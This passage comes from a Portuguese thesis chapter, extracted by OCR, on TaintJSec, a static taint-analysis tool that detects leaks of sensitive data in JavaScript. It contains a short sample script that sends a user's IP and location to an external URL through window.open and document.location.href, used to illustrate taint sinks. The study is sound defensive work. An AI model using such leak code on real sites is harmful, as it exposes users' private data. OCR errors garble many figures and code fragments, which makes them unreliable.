A primeira fase do TaintJSec tem o objetivo de identificar todos os codigos JavaScript
(Figura 4.2a) que estao declarados explicitamente na aplica¢do, para que possa extrai-
los, separando-os do restante do cédigo HTML e, entao, organiza-los de acordo com a
ordem em que aparecem, sem alterar o fluxo de execugdo das instrugoes (Figura 4.2b).
Nao hé distincao entre instrugoes sincronas e assincronas, pois a abordagem trata todas
as instrugdes como sincronas. Portanto, os diversos cédigos JavaScript dispersos na
aplicagao, ao serem agrupados em um tnico arquivo, obedecem a ordem de interpretacao
em que eles aparecem no codigo HTML. Dessa forma, o fluxo da informacao presente no
cddigo agrupado é igual ao fluxo original, presente na aplicacao.

A tarefa de identificar todos os cddigos JavaScript presentes em uma aplicagao
HTML merece atenc¢ao, pois o método escolhido para executar essa tarefa deve reconhecer
falsas tags script. Durante a fase de identificagao é preciso diferenciar legitimos codigos
JavaScript daqueles que nao devem ser levados em consideragdo como, por exemplo, os
c6digos presentes em conteido de comentarios, coédigos que localizam-se entre as tags

textarea ou, ainda, codigos que estejam entre as tags script que contenham o atributo sre.
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<IDOCTYPE html=

<html=>

<head=>

<meta charset="utf-g" /=
<title>Application</title=>

I
[
if (num = @) [
return -1; I
else if (num == @) |
return 1; I function factorial(num){
var tmp = num; [ if (num < @)
while (num-- = 2) : return -1;
I
I
I
4

tmp *= num; else if (num == 8)
return tmp; return 1;
} var tmp = num;
</seript> while (num-- = 2)
————————————— tmp *= num;
</head= return tmp;
<body> }

0 fatorial de 8 é )
________________ var result = factorial(g);

[;script: | document.writel(result);

| var result = factorial(s);l _ .
document.write(result); | result result/2;
| </script= | document.write(result);

leseripts |
lresult = result/2; |
L:jscript: I

A metade desse valor é

[ <script> docunent.urite (result) ;</seript> |
</body>
</html=>
a) ldentificacao b) Extracao

Figura 4.2. Etapas da fase de identificagao e extracao de cédigos JavaScript.
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O Cédigo 4.1 apresenta uma estrutura HTML que nao apresenta qualquer codigo

JavaScript executavel que possa ser extraido. Entre as linhas 4 e 6 consta um codigo

JavaScript que contém uma funcgdo alert, porém a tag inicial contém o atributo src que

anula todo o c6digo presente entre as tags <script> e </script>. Somente o enderego do

arquivo externo informado no valor do atributo src é levado em consideracao, mas como o

atributo nao apresenta qualquer valor, entao nao hé cédigo para ser executado. Por essa

razao, o trecho de cédigo entre as linhas 4 e 6 nao contém qualquer cédigo JavaScript

para extrair.

<!doctype html>
<html>

<head>

<script src>

U W N =

tag <script>.");
</script>
<l--

=}

alert("Todo cédigo dentro dessa tag é ignorado devido o uso do atributo src na
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8 <script>
9 alert(
);
10 </script>
11 -->
12 | </head>
13 | <body>
14 <textarea>
15 <script>
16 alert( DE
17 </script>
18 </textarea>
19 | </body>
20 |[</div>
21 [</html>

Cdédigo 4.1. Exemplo de HTML sem cédigo JavaScript.

Entre as linhas 8 e 10 do Coédigo 4.1 é apresentado, aparentemente, outro coédigo
JavaScript, mas trata-se apenas do conteido de um comentario HTML. A tag de
comentario HTML inicia na linha 7 e termina na linha 11. O contetido entre essas tags
nao é um codigo executavel.

A linha 16 do Cdédigo 4.1 apresenta a fungao alert que esta entre as tags <script>
e </script> ambas nas linhas 15 e 17, respectivamente. Porém, este também nao é
um codigo JavaScript executavel que possa ser extraido, pois é o conteiiddo do elemento
Textarea que inicia na linha 14 e termina da linha 18. Portanto o Cédigo 4.1 nao apresenta
qualquer codigo JavaScript para ser identificado e extraido.

Quando um coédigo valido é encontrado, todas as suas particulares devem ser
preservadas. Nenhum comentario deve ser removido, assim como nenhuma tentativa de
minificar! o cédigo deve ser executada, pois até um simples caractere de espaco é essencial
e deve ser mantido como consta no codigo original. Isso é importante para que a analise
trabalhe em um cédigo JavaScript idéntico ao presente na aplicagao.

A primeira fase do TaintJSec termina quando todos os coédigos JavaScript tiverem
sido extraidos do HTML e devidamente organizados formando um sé bloco de codigo,

composto por todos os demais trechos obtidos separadamente.

4.2 Criacao da Arvore Sintatica Abstrata

A segunda fase da abordagem tem por objetivo criar a arvore sintatica abstrata do codigo

JavaScript extraido na fase anterior.

1]’:‘)S ecialmente para JavaScript, minificar é remover os trechos desnecessarios para que o cédigo rode
)
mais répldo
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No TaintJSec, o mecanismo de criacdo da AST possibilita a insercdo de novas
informacdes na arvore por meio de processamento subsequente. E possivel adicionar o
numero da posicao exata de um trecho de codigo JavaScript responsavel pela criacao
de um né especifico da arvore, ou adicionar qualquer atributo de valor relevante com o
propdsito de enriquecer a AST com informagoes uteis que facilitem seu processamento
na terceira fase da abordagem. Logo, a arvore sintatica gerada deve ser uma estrutura
flexivel, que permita a insercao de novos atributos e a alteracao dos dados presentes nos
nos a qualquer momento da analise.

Com a AST criada, a segunda fase do TaintJSec chega ao fim. A abordagem passa
a ter dois artefatos de saida: o bloco de cédigo JavaScript criado na primeira fase da
abordagem e a sua respectiva AST. Esses dois artefatos sdo necessarios para a realizacao

da andlise estatica no fluxo de execugao.

4.3 Analise do Fluxo da Informacao

A terceira fase da abordagem tem por objetivo a realizacdo de uma andlise no fluxo
de execucao do codigo JavaScript para identificar possiveis vazamentos de informacao
sensivel. Para que a andlise seja realizada sao necessarios dois artefatos de entrada: o
cédigo JavaScript e a sua respectiva representacao em AST, ambos sdo artefatos de saida
das fases anteriores. O cddigo JavaScript serve de apoio para a andlise, onde sao feitas
consultas no cédigo com o propédsito de obter o trecho real do codigo gerador da AST. Esse
tipo de consulta é 1til para tratar o problema do eval e detectar vazamento de informacao
sensivel em cédigos ofuscados, como veremos adiante.

A arvore sintatica abstrata é o parametro de entrada para iniciar a terceira fase
da abordagem, pois a andlise consiste em percorrer os niveis da AST utilizando-se de
estruturas para armazenar os resultados obtidos das operacoes encontradas durante
o fluxo de execucao. Essas operacoes sdao atividades comuns presentes na légica do
codigo JavaScript, como as operacoes de atribuicao, calculos de expressoes matematicas,
chamadas de funcao, instrugoes condicionantes, etc.

Para facilitar a compreensdo da andalise do fluxo da informacao, esta secao é
subdividida para explanar separadamente cada parte que compode a terceira fase da
abordagem. A subsecao 4.3.1 desenvolve acerca de como os registradores do TaintJSec
sao organizados. A subsecao 4.3.2 mostra como a estrutura dos registradores é preparada
para que a analise de marcagao (taint analysis) seja empregada. A subsegao 4.3.3 informa
quais sao os taint sources deste trabalho, assim como a subsecao 4.3.4 informa quem sao
os taint sinks. Por fim, a subsecao 4.3.5 discorre sobre as diferentes formas de propagacao

do taint tag e insere um novo termo denominado taint position.
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4.3.1 Estrutura dos Registradores

Os registradores sao estruturas que armazenam os dados obtidos durante a andlise do
fluxo de cédigo. Esses registradores diferenciam o escopo ao qual pertencem, para que
assim nao ocorra ambiguidade entre os dados armazenados. Desta forma, um registrador
r1 nao interfere nos dados de outro registrador r2, quando estes armazenarem nomes de
variaveis idénticos, mas de escopos distintos. O Algoritmo 4.1 ¢é utilizado para armazenar
e atualizar os objetos de um determinado escopo, onde novos escopos sao inseridos em
um conjunto de escopos na medida em que a analise consome os niveis da AST. Caso o
escopo ja exista, entdo o objeto é inserido no conjunto de objetos do escopo (linha 7),
de modo que nesse conjunto de objetos nao é permitido a existéncia de dois objetos com
o mesmo identificador. Logo, a inser¢do de um objeto com um identificador ja inserido

anteriormente sobrescreve o objeto mais antigo.

Algoritmo 4.1: Armazenamento e atualizagdo de objetos em registradores.
Entrada: (S, u, k)
Saida: Conjunto de escopos atualizado
/* onde S é o conjunto de todos os escopos conhecidos, */
/* w & um escopo especifico, e */
/* k €& um objeto do escopo u */
1 inicio
2 1 < k.dentificador
3 se u ¢ S entao
4 S« Su{u}
5 o(S,u)«—{i:k}
6
7
8
9

senao
| o(S,u,i) <k
fim

fim
10 retorna S

A estrutura de registradores deve ser flexivel o suficiente para permitir que novas
informagoes sejam inseridas em todos os registradores ou somente em um registrador
especifico. Essa caracteristica é ttil para detectar se a funcao eval contém informacgao
sensivel em seus argumentos, bem como para propagar um novo atributo inserido pelo
objeto prototype? a todas as instincias de uma classe. Além de permitir a utilizacao da
analise de marcagao pelo TaintJSec.

De modo simplificado, os registradores do TaintJSec podem ser representados como

uma estrutura dinamica composta de varios objetos, onde o endere¢o de memoéria em que

2Em JavaScript, prototype é uma propriedade interna de todos os objetos. Modificacdes no prototype
do objeto sdo propagadas a todos objetos através de encadeamento.
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um registrador fica armazenado é obtido por meio do identificador do objeto JavaScript

que ele armazena. A Figura 4.3 ilustra a abstracao dessa representagao.

id
Objeto [id ] ==»  valor: (valor-do-objeto)

Figura 4.3. Representagdo simplificada da estrutura de armazenamento de um
registrador.

Para evitar ambiguidade nas informagoes armazenadas, cada escopo possui sua
propria estrutura de registradores.

Uma visao simplificada da estrutura de armazenamento de escopos é apresentada
na Figura 4.4, onde é possivel observar que o contetido de cada escopo é composto por
uma estrutura de registradores e referenciado por um identificador id tinico, que é gerado
conforme os escopos vao sendo descobertos durante a execucao da analise, respeitando a
hierarquia em que aparecem. De tal maneira que dois escopos com identificadores 1.1
e 1.2, por exemplo, sdo escopos adjacentes e também subescopos de um terceiro que
possui identificador igual a 1. Logo, a estrutura de armazenamento de escopos permite o

reconhecimento de paridade por meio de seus identificadores.

id

n
3 v frar

Escopo [ id ] ==p Objetos =—» 3 0

7 v frar
valor

Figura 4.4. Representagao simplificada da estrutura de armazenamento de escopos.

Para melhor entendimento do funcionamento dessas estruturas, o cddigo
answer = 6 * 7 ¢ utilizado como exemplo na Figura 4.5, a qual ilustra a estrutura
gerada pelo codigo ao passar pela fase de analise.

A estrutura representa um escopo de identificador 1 que possui somente um objeto,

cujo identificador e valor armazenados sao answer e o nimero inteiro 42, respectivamente.

4.3.2 Marcacao de Registradores

A marcagao durante a analise tem o objetivo de rotular (ou etiquetar) os registradores que

estiverem portando informagao sensivel, para que o algoritmo de deteccao de vazamento
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Escopo[ 1 ] = {
Objetos := [

valor: 42

}

Figura 4.5. Exemplo da estrutura gerada por um caso especifico.

de informacao do TuintJSec possa identifica-los. Porém, para empregar a técnica de
marcacao é necessario que o taint tag esteja inserido na estrutura dos registradores.
Como dito previamente, um registrador de objeto é uma estrutura que contém
informagoes relevantes, tais como o identificador (nome de varidvel ou fungao), o valor,
o tipo e os atributos do objeto. Essa estrutura possui como caracteristica a possibilidade
de insercao de novas informagoes em qualquer momento da andalise. Assim, o taint tag é
inserido na estrutura dos registradores (Figura 4.6) e a andlise passa a ser uma Andlise

de Marcagao (Taint Analysis).

id
Objeto [id ] ==»  valor: (valor-do-objeto)
taint_flag: (verdadeiro | falso)

Figura 4.6. Representacao simplificada da estrutura de armazenamento de um
registrador contendo o taint tag.

Desse modo, com o taint tag na estrutura dos registradores é possivel marcar um ou
mais objetos, cujos valores possuam informacgoes sensiveis. A tag possui valor booleano,
onde verdadeiro e falso indicam objetos que estejam portando informagao sensivel (tainted
data) e os objetos que nao possuam informagoes sensiveis em seu valor, respectivamente.
Uma informagao sensivel é o resultado da verificacao de sua procedéncia, isto é, se a
informagao provém de um taint source, como explicado na préxima secio.

Para efeito de comparagao, se o exemplo apresentado anteriormente possuisse o taint
tag, sua estrutura seria como mostra a Figura 4.7 e o registrador de objeto com id igual
a answer teria o taint tag com valor falso, indicando que esse objeto nao contém uma

informagao sensivel.
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Escopo[ 1 ] = {
Objetos := [

valor: 42
taint_flag: falso

}

Figura 4.7. Exemplo do taint tag inserido na estrutura de um registrador.

4.3.3 Taint Sources

Os taint sources, no TaintJSec, sao métodos ou fungoes presentes na linguagem JavaScript,
que fornecem informacao sensivel. Neste trabalho, a informacdo sensivel é definida
como sendo toda informacao que cause problemas de invasao de privacidade caso seja
transmitida para destinos desconhecidos ou nao autorizados. Por exemplo, as fungoes
getIP e getLocation podem ser consideradas taint sources, pois fornecem o endereco IP
do usuéario e as coordenadas geograficas do mesmo.

Logo, ¢ necessario listar todos os possiveis métodos ou fungoes que fornegam
informagoes sensiveis e informa-los ao TaintJSec. Essa informacao é armazenada para
que sirva de consulta sempre que a andlise do fluxo de execuc¢ao encontrar uma operacao
de chamada de func¢ao ou método, como mostrado no Algoritmo 4.2. Desse modo, sempre
que a andlise identifica uma operacao de chamada de funcao ou execucao de método, a
lista armazenada é consultada a fim de identificar se o objeto a ser executado é ou nao

um taint source.

Algoritmo 4.2: Verificacao de taint sources.
Entrada: (Tsource,n)
Saida: O valor taint tag
/* onde T,pu... € 0 conjunto de todos os taint sources, e
*/
/* n € um source */
inicio
se 1 € Tsource €NtAO
‘ taint_tag < 1
senao
‘ taint_tag <0
fim
fim
retorna taint_tag

® N O Ok W N -

Todo objeto que armazena informagoes provenientes de um taint source, tem o valor
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de seu taint tag alterado para werdadeiro, sinalizando que a partir daquele momento o

objeto esta portando uma informagcao sensivel.

4.3.4 Taint Sinks

Os taint sinks, no TaintJSec, sdo todos os métodos ou fungoes presentes na linguagem
JavaScript, que possibilitam o envio de informacao sensivel para um destino que esteja

fora do dominio da aplicacdao, onde a aplicagdo nao possua qualquer controle.

Algoritmo 4.3: Verificacao de taint sinks.

1 Fungao TSINK (©,n)

Saida: O valor booleano que indica se o elemento é um taint sink

/* onde © é o conjunto de todos os taint sinks, e */

/* n é um elemento JavaScript */
2 inicio
3 taint__sink <0
4 se 1 € O entao
5 ‘ taint__sink < 1
6 fim
7 fim
8

retorna taint_sink

Da mesma forma que os taint sources, é preciso criar o conjunto de todos os taint
sinks existentes na aplicacdo. Entao, esse conjunto é informado ao TaintJSec, que o
armazena para que sirva de consulta cada vez que a andlise identificar operagoes de
atribuicao ou de chamada de funcao. Essa consulta tem o objetivo de verificar se o objeto
que estiver sendo executado é um taint sink, como mostrado no Algoritmo 4.3. Caso seja
um taint sink, o vazamento de informacao sensivel ocorre se o dado que foi encaminhado

ao sink for um tainted data, como mostra o Algoritmo 4.4.
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Algoritmo 4.4: Deteccao de vazamento de informacao.
Entrada: (0,7, )
Saida: O valor booleano que indica a deteccdo do vazamento de informagao
/* onde © é o conjunto de todos os taint sinks, e */
/* n é um elemento JavaScript, e */
/* o & um registrador */
1 inicio
2 vazamento < 0
3 se TSINK(©,n) entao
4 ‘ vazamento < a.taint_tag
5
6
7

fim
fim
retorna vazamento

Alguns exemplos de taint sinks sao os objetos window.open e document.location.href,
pois podem enviar o conteudo de um tainted data para dominios fora do controle da
aplicacao, como exemplifica o Codigo 4.2.

<script>
var dadosUsuario = {ip : getIP(),
localizacao : getlLocation()}
var d = JSON.stringify(dadosUsuario);
function enviaDados1() {

window.open( urlExterna + +d);
}
function enviaDados2() {

document.location.href = urlExterna + + d;
}

enviaDados1();
enviaDados2();
</script>

Cddigo 4.2. Cdédigo contendo objetos considerados taint sinks pelo TaintJSec.

4.3.5 Propagacao do Taint Tag

Todo valor resultante de uma operacao que envolve tainted data leva consigo o taint tag
positivo. Esse valor é repassado a outros objetos de diferentes maneiras, podendo ser por
uma simples atribuicdo de valor entre objetos ou por meio do envio a uma funcao em
forma de parametro, por exemplo.

Desse modo, faz-se necessario criar um conjunto de regras de propagacao do taint
tag em meio as diversas operagoes no fluxo de execugao do cédigo JavaScript. Essas regras
dividem-se em propagacao por atribuigdo (4.3.5.1), propagacao por expressao (4.3.5.2),

propagagiao por passagem de parametro (4.3.5.3) e propagagao por execugao de fungio
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nativa (4.3.5.4). Cada uma dessas regras é executada de acordo com o tipo de operagao
encontrada durante a analise da arvore sintatica abstrata.

Assim, para cada tipo de operacao JavaScript em que uma informacao sensivel
pode ser enviada de um objeto para outro, existe uma regra de tratamento para que essa
propagacao seja refletida nos registradores. O Quadro 4.1 apresenta cada uma das regras
de propagacao e seu respectivo conjunto de operagoes. O modo como a propagacao é

realizada em cada uma das regras ¢ explicado nas secoes seguintes.

Quadro 4.1. Regras de propagacao do taint tag e seus respectivos conjuntos de

operacoes.
REGRAS OPERACOES
Expressao de atribuicao
Atribuicao
Declaracao de variavel
Expressao Binaria
Expressao

Expressao Logica

. Expressao de chamada de funcao declarada no
Passagem de parametro | ) ~ _
codigo JavaScript (ndo nativa)

- . Expressao de chamada de funcao nativa.
Funcao nativa
Por exemplo: Array.push, eval e parselnt

4.3.5.1 Propagacao por Atribuicao

A propagacao por atribuicdo é realizada quando uma variavel recebe o valor diretamente
de algum tainted source ou de um tainted data.

Na atribuicao, o registrador do objeto que esta a esquerda da operacao recebe a
estrutura do registrador do objeto a direita, sem que haja qualquer tipo de verificagao.

A Figura 4.8 exemplifica o acontecimento da propagacdo por atribucdo, onde o
registrador da varidavel C (R¢) simplesmente recebe Rp (Rc = Rp).

Objetos do tipo vetor (array) possuem uma unica tag para todos os elementos, de tal
modo que basta a atribui¢do de um tnico tainted data para que todos os demais elementos

do vetor sejam considerados dados sensiveis.

4.3.5.2 Propagacao por Expressao

A propagacao por expressao é realizada quando um ou mais elementos de uma expressao
possuem taint tag positivo, fazendo com que o valor resultante da expressao também o

tenha.
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Cédigo JavaScript Registradores
A=5; R, = { valor: 5, tainted: 0 }

R, = { valor: 5, tainted: 0 }

B = getNome();
g 0 RB= { valor: "Joao", tainted: 1}

R, = { valor: 5, tainted: 0}
C =B: Rg= { valor: "Jo&o", tainted: 1}

Rs= { valor: "Jo&o", tainted: 1}

Figura 4.8. Exemplo de propagacdo por atribuicio em um trecho de codigo
JavaScript.

Durante o processo de calculo de uma expressao, o valor da tag é propagado pela
AST dos niveis inferiores para os niveis superiores. Logo, a raiz da AST possuira a tag
com o valor resultante de todas as disjuncoes (A% v B/la9) entre as tags dos niveis
inferiores.

A Figura 4.9 apresenta inicialmente um exemplo de cédigo JavaScript, onde um dos

elementos da expressao é uma funcao getNome, definida como tainted source.

("no™ + "me: ") + (getNome() + 2) || (false || true)

®- - Y
¥ ap
“no” “me: " @L ”

> false true
getNome() 2

{ valor: “nome: Jodo2’, tainted: 1}

Figura 4.9. Exemplo de propagacdo por expressio em um trecho de codigo
JavaScript.

Em seguida, é apresentada sua arvore de execug¢ao, onde o caminho de propagacao do
taint tag para os niveis superiores da arvore é destacado nas linhas vermelhas pontilhadas.
Por fim, o objeto resultante da operacao é apresentado na parte inferior da figura. Os

passos de resolugao da arvore sao detalhados a seguir.
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Passo 1 Passo 2
™ ®
®.. b)...
.* '_.k
{ valor: *nome: ", tainted: 0 } @ { valor: “nome: ", tainted: 0 } @
1 | & |
@ { valor: “Jodo2", tainted: 1}
o - false true false true
getNome() 2
Passo 3 Passo 4
D) ®
®-.. £
._*I '_*
alor: “nome: ", tainted: 0 alor: “nome: ", tainted: 0 .
{v I } @ tv ' } { valor: *Jodo2", tainted:1}
K
{ valor: “Jodo2", { valor: true,
tainted: 1} tainted: 0 }
Passo 5

{ valor: “nome: Joao2”, tainted: 1}

Figura 4.10. Exemplo dos passos da propagacao do taint tag na AST.

A Figura 4.10 exemplifica como ocorre o processo de propagagao do taint tag na
AST. O processo inicia resolvendo primeiro as folhas da esquerda e, em seguida, as folhas

da direita da arvore, como explicado nos passos abaixo:

1. E realizada uma operacio de concatenacio entre dois objetos literais (strings)

“no” + “me: ” resultando em “nome: ” que nao é um tainted data.

2. Ocorre a operagao de concatenacao entre o valor da fungao getNome e o nimero 2.
A funcdo getNome é um taint source, portanto retorna o valor “Joao” marcado
com tag positiva, indicando que trata-se de uma informacao sensivel. A operacao
de concatenacao de “Joao” e o numero 2, resulta em “Joao2” e a disjunc¢ao

“Jodo"t9 v 2! equivale a (1 V 0) = 1. Portanto, a tag resultante é positiva.

3. Ocorre a expressao légica entre dois valores booleanos, true || false, que resulta no

valor true, que nao é um tainted data.

4. Ocorre a operagao logica “Joao2” || true, que resulta em “Jodao2”. Como esse
valor é um tainted data, entdo a disjuncdo “Jodo2”/'9 v truef!®  equivale a

(1 v 0) = 1. Portanto, o flag resultante é positivo.
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5. Ocorre a operacao de concatenacao “nome: ” + “Joao2”, que tem como resultado
o valor literal “nome: Joao2”. A disjuncdo “nome: "/199 v “Joao2"/1%9  equivale

a (0V 1) =1. Portanto, o flag resultante ¢ positivo.

4.3.5.3 Propagacao por Passagem de Parametro

A propagacao por passagem de parametro ocorre quando pelo menos um dos argumentos
enviados como pardmetro a uma funcdo nao-nativa® possui taint tag positivo.

Logo, apds a chamada da funcao e antes da execugao das operagoes de seu respectivo
escopo ¢ realizada uma verificagdo no valor dos parametros. No escopo da fungdo, novos
registradores recebem as estruturas enviadas pelos argumentos de entrada, de modo que,
tratando-se de um tainted data, a estrutura enviada leva consigo o valor do flag positivo, o
qual é recebido pelo registrador interno que, entao, propaga-o durante o fluxo de execucao.

A Figura 4.11 demonstra como é realizada a substituicdo das varidveis por seus

respectivos registradores, para entao realizar a propagacao do flag no escopo da fungao.

Codigo JavaScript Registradores
a=5;: { valor: 5, tainted: 0 }
b = getNome(); { valor: "Jo&o", tainted: 1}

{ func: funcao_qualquer,
parametros: {
{ valor: 5, tainted: 0},
{ valor: "Jodo", tainted: 1}
}

}

funcao_qualquer (a, b);

Figura 4.11. Exemplo de propagagao por passagem de pardmetro em um trecho
de codigo JavaScript.

O fato da propagacgao ocorrer do escopo externo para o escopo interno da funcao,
nao significa que o valor retornado por ela sera obrigatoriamente um tainted data, o flag do

objeto retornado pode ser positivo ou nao, dependendo das operagoes internas da funcao.

4.3.5.4 Propagacao por Funcao Nativa

A propagacao por fungao nativa ocorre quando pelo menos um dos argumentos da funcao
é um tainted data. Diferentemente da regra de passagem de parametro, a qual ocorre
em chamadas de fung¢des nao-nativas onde o escopo da func¢do é conhecido, a regra de

propagacao por fungao nativa nao tem acesso ao escopo da funcao executada.

3 Toda funcdo declarada explicitamente no cédigo JavaScript ndo é uma funcio nativa.
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Para detectar o tainted data é realizada uma verificagdo nos argumentos enviados
como parametros a funcao e, se pelo menos um deles contiver o atributo taint tag com
valor positivo, entao o valor do atributo taint tag do objeto retornado pela fun¢ao também
é considerado positivo. A Figura 4.12 mostra um exemplo de uma funcao nativa do objeto
window, que converte uma string em sua representacdo na base 64, a propagacao ocorre
exclusivamente por tratar-se de um argumento considerado tainted data, uma vez que a

analise nao abrange as operagoes do escopo de fungoes nativas.

Codigo JavaScript Registradores
a = getCPF(); { valor: "69871267554", tainted: 1}
b = btoa(a); { valor: "Njk4NzEyNjcINTQ=", tainted: 1}

Figura 4.12. Exemplo de propagacdo em func¢io nativa.

Essa verificagdo de argumentos é realizada em todas as func¢oes nativas, com exce¢ao
da funcao ewval, a qual pode retornar objetos tainted data ou nao, independentemente se o
pardmetro é um tainted data. O valor retornado pela funcao eval depende exclusivamente

da logica contida em seu parametro literal.

4.3.5.5 Propagacdo na Funcao Eval (Caso especial de propagacao por funcdo

nativa)

A funcao eval é uma func¢ao nativa utilizada para criar novos trechos de cédigo em tempo
de execucao. Como exemplificado anteriormente no Codigo 1.1, muitos trabalhos que
utilizam a andlise estatica em codigo JavaScript nao oferecem suporte a fungao eval em
razao das dificuldades encontradas durante a andlise de sua execucao. Como resultado,
a funcao ewval torna-se um problema por ser bastante utilizada em aplicagoes maliciosas
que praticam o vazamento de dados sensiveis.

Para resolver esse problema, este trabalho propoe um novo conceito chamado

taint position.

Definicao 1: Tuint Position é o nome dado ao nimero que identifica a posicao de um

tainted data contido em um valor literal.

Um taint position é criado apds uma operacao de concatenacao entre dois objetos
em que pelo menos um deles é um tainted data. O resultado dessa operacao é armazenado
no registrador de objetos junto com o taint tag positivo e um conjunto de taint position

que indica a posicao exata de um ou mais tainted data existentes no valor literal.
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O conjunto de taint position é formado pela unido do conjunto de taint position do

elemento da esquerda com o conjunto do elemento da direita. Essa operacao de uniao de

conjuntos obedece as regras apresentadas abaixo:

(R1)

(R2)

O elemento da operagao que nao for tainted data fornece um conjunto de taint

position vazio;

O tainted data do lado esquerdo da operacao fornece um conjunto unitario
contendo o taint position 1, quando este nao possuir um conjunto de taint

position no registrador;

O tainted data do lado esquerdo da operagao fornece o conjunto de taint

position de seu registrador, caso possua;

O tainted data do lado direito da operacao fornece um conjunto unitario
contendo o numero resultante da operagdo (1 + comprimento do elemento
da esquerda), quando nao possuir um conjunto de taint position em seu

registrador;

O tainted data do lado direito da operacao que possui um conjunto X de taint
position em seu registrador, fornece o conjunto imagem I(f), onde f: X — Y

e f(x) = x + comprimento do elemento da esquerda.

O Algoritmo 4.5 apresenta como as cinco regras acima sao utilizadas para fornecer

um conjunto de taint position resultante de uma operagao de concatenacao entre dois

objetos.
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Algoritmo 4.5: Criacao do conjunto de taint position resultante de uma operagao
de concatenacao entre dois objetos.

Entrada: (Reg®?, Reg®")

Saida: Conjunto de taint position

/* onde Reg*? é o registrador do objeto da esquerda, e */

/* Reg® é o registrador do objeto da direita */
1 inicio
2 conj®? « { }; // (R1)
3 conj¥r <+ { }; // (R1)
4
5 se Reg®i.taint__ flag € positivo entao
6 se Reg®.taint_position existe entao
7 ‘ conj®? <— Reg®?.taint_ position ; // (R3)
8 senao
9 ‘ conj®i+—{1}; // (R2)
10 fim
11 fim
12 se Reg®" taint_ flag ¢ positivo entdo
13 se Reg® taint position existe entdo
14 para cada i € Reg?" taint_position faca
15 | conj®" < conj® U { i + TAMANHO(Reg*?.valor) } ; // (R5)
16 fim
17 senao
18 | conj®" < { 1 4+ TAMANHO(Reg®?.valor) } ; // (R4)
19 fim
20 fim
21 fim

22 S < conj®I U conjh"
23 retorna S

A Figura 4.13 exemplifica como ocorre a criacao de um taint position, onde é possivel
observar que o codigo var b = “texto” + a; resulta em um tainted data contendo um
conjunto de taint position com apenas um elemento, sendo ele o taint position 6. Isso
ocorre porque a variavel a é¢ um tainted data, cujo valor inicia a partir do sexto caractere
da literal resultante “texto127.0.0.1” da operagao de concatenagao (conforme R4).

O codigo var ¢ = a + bj; da Figura 4.13, apresenta uma operacao de concatenacao
entre dois tainted data (a e b) que resulta em um tainted data com novos taint positions.
Neste caso, o conjunto de taint position é obtido a partir da uniao do conjunto de taint
position do elemento da esquerda da operagao (varidvel a) com o conjunto de taint position
do elemento da direita da operagao (varidvel b). O elemento da esquerda obedece R2 e
fornece o conjunto {1}, enquanto o elemento da direita, cujo registrador contém o taint
position 6, obedece a R5 e fornece o conjunto {15}, pois 6 + 9 = 15, onde o niimero 9

equivale ao comprimento (length) do valor de a. Como resultado, o conjunto de taint
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Coédigo JavaScript Registradores

var a = getlP(); Ra ={valor: "127.0.0.1", tainted: 1}

R, = { valor: "texto127.0.0.1",
var b = "texto" + a; tainted: 1,

taint_position: [6] }

RC= { valor: "127.0.0.1texto127.0.0.1",
varc=a+b; tainted: 1,

taint_position: [1,15] }

Figura 4.13. Exemplo de criagdo de tainted position.

position apds a operagao de concatenagao é {1,15}.

Assim, a utilizacao de taint position como soluc¢ao para o problema da funcao eval
mostra-se eficaz, pois é possivel propagar essa informagao para o escopo da funcao eval e
informar ao analisador a posicao dos tainted data presentes no argumento da fungao.

No entanto, a obtencao do conjunto de taint position deve ocorrer durante o processo
de reescrita do parametro de entrada da funcao eval. Esse processo consiste em reescrever
o argumento enviado a funcao eval, da esquerda para a direita, substituindo todos os
identificadores de variaveis pelos seus respectivos valores. Para cada variavel encontrada,
seu registrador é consultado para checar o valor do taint tag. Quando um tainted data é
encontrado, o conjunto de taint position do elemento da direita da concatenacgao é obtido
conforme as regras estabelecidas para a criacdo do conjunto de taint position, e serve
de consulta durante a analise da execucao da fungao eval (Figura 4.14). Esse processo
ocorre até que nao existam mais variaveis a serem substituidas, sobrando apenas uma

Unica string.

Argumento Original Argumento Reescrito Taint Position
eval ("nome=\"Joao\"")
eval ("nome=\""+getNome ()+"\"") ‘I ‘ | ‘ | ‘ | ‘ | ‘ 7
12345 67851044

Figura 4.14. Exemplo do processo de reescrita do argumento da funcio ewval e
identificacao dos tainted positions.
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Com o argumento reescrito e os tainted positions conhecidos, é criada a arvore
sintatica abstrata do argumento, contendo o intervalo do coédigo-fonte que originou cada
né da arvore. Todo n6 da AST que contém um intervalo de c6digo-fonte onde pelo menos
um dos elementos do conjunto de tainted position estd inserido resulta em um tainted

data, cujo flag é propagado para os niveis superiores da arvore.

Caodigo JavaScript AST
2 46 8 10 [E'“- [5:5)
RS rd
nome="Joao" ("nome ) " Jodo")
NEEES (1:a1 Rt

135 79 tainted:1

Figura 4.15. Exemplo de AST com os atributos de intervalo de cédigo-fonte e o
taint tag atribuido devido a existéncia de um tainted position no intervalo.

A Figura 4.15 apresenta a AST do argumento reescrito na Figura 4.14, cuja operagao
de atribuicdo resulta em um tainted data, pois o tainted position 7 esta presente no

intervalo de 6 a 11, atributo do né a direita da arvore.



4. TaintJSec 53

4.4 Implementacao

O TaintJSec foi implementado sob a plataforma Node.js, com o objetivo de aproveitar
os recursos do microprocessador, tais como as fung¢oes nativas, tipagem de dados e toda
dinamicidade disponivel na linguagem.

Assim, recursos exclusivos da linguagem JavaScript nao precisam ser implementados
para que sejam reconhecidos pelo TaintJSec. A Figura 4.16, por exemplo, ilustra o
resultado da expressao unéria +[] sendo executada no shell do Python, PHP e Node.js,

onde é possivel observar que somente este ultimo reconheceu a expressao.

Python
- + X
File Edit View Search Terminal Help
[ufam] TaintJSec $ python
Python 2.7.12 (default, Nov 19 2816, 06:48:10)
[GCC 5.4.8 201606089] on linux2
Type "help", "copyright", "credits" or "license" for more information.
=== 4[]
Traceback (most recent call last):
File "<stdin=", line 1, in <module=
TypeError: bad operand type for unary +: 'list' ]
>>> ] | |
PHP
- + X

File Edit View Search Terminal Help

[ufam] TaintJSec $ php -r "echo +[];"
PHP Fatal error: Unsupported operand types in Command line code on line 1

[ufam] TaintlSec % ||

Node.js

File Edit View Search Terminal Help

[ufam] TaintJSec % node
= +[]

|3|

= ++[+[1]1[+[1]

1 )
-1 J

Figura 4.16. Testes de execugao da expressao unaria 4[| no shell do Python, PHP
e Node.js.

Além disso, a plataforma possibilita a utilizacdo de mdédulos que exercem funcao de
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apoio semelhante as bibliotecas JavaScript, os quais facilitam o desenvolvimento das fases

da abordagem.

4.4.1 Primeira Fase: ldentificacao e Extracao de Codigo

